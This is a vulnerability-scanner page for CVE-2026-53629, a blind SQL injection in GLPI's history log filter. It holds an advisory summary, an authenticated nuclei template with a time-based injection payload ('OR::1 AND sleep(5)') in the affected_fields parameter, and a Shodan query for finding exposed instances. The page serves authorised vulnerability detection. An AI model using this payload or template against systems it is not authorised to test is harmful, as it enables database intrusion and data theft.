HexBrain

Browse / CVEs / CVE-2026-53629

CVE-2026-53629· CWE-89

GLPI - Blind SQL Injection in History Log Filter (LogBleed)

highseverity
8.8CVSS score
1%likelihood of exploitation, next 30 days
64%of all CVEs are less likely
Readycheck to confirm it

GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).

How to confirm it

Send: GET /
Positive when: contains "id=\"login_name\"" and "_glpi_csrf_token"
Send: POST /front/login.php
Positive when: contains "logout.php"
Send: GET /front/user.form.php?id=2
Positive when: status_code == 200
Send: @timeout: 30s
Positive when: status_code == 200 and duration >= 5 AND contains "ID;Date;User;Field;Update"

Run it with nuclei: nuclei -id CVE-2026-53629 -u <target>

The full check
id: CVE-2026-53629

info:
  name: GLPI - Blind SQL Injection in History Log Filter (LogBleed)
  author: Boreas37
  severity: high
  description: |
    GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).
  reference:
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-53629
    epss-score: 0.0102
    epss-percentile: 0.63688
    cwe-id: CWE-89
  metadata:
    max-request: 4
    verified: true
    shodan-query: title:"Authentication - GLPI"
  tags: cve,cve2026,glpi,sqli,blind,time-based,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'id="login_name"'
          - '_glpi_csrf_token'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: uname
        part: body
        internal: true
        group: 1
        regex:
          - 'id="login_name" name="([^"]+)"'

      - type: regex
        name: pwd
        part: body
        internal: true
        group: 1
        regex:
          - 'id="login_password" name="([^"]+)"'

      - type: regex
        name: token
        part: body
        internal: true
        group: 1
        regex:
          - '_glpi_csrf_token" value="([a-f0-9]+)"'

  - raw:
      - |
        POST /front/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{uname}}={{username}}&{{pwd}}={{password}}&_glpi_csrf_token={{token}}&submit=Login

    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        part: body
        words:
          - "logout.php"
        internal: true

  - raw:
      - |
        GET /front/user.form.php?id=2 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /front/log/export.php?itemtype=User&id=2&filter%5Baffected_fields%5D%5B0%5D=OR::1%20AND%20sleep(5) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "duration >= 5"
        condition: and

      - type: word
        part: body
        words:
          - "ID;Date;User;Field;Update"

References

Use this check only on systems you are authorised to test. Where the data comes from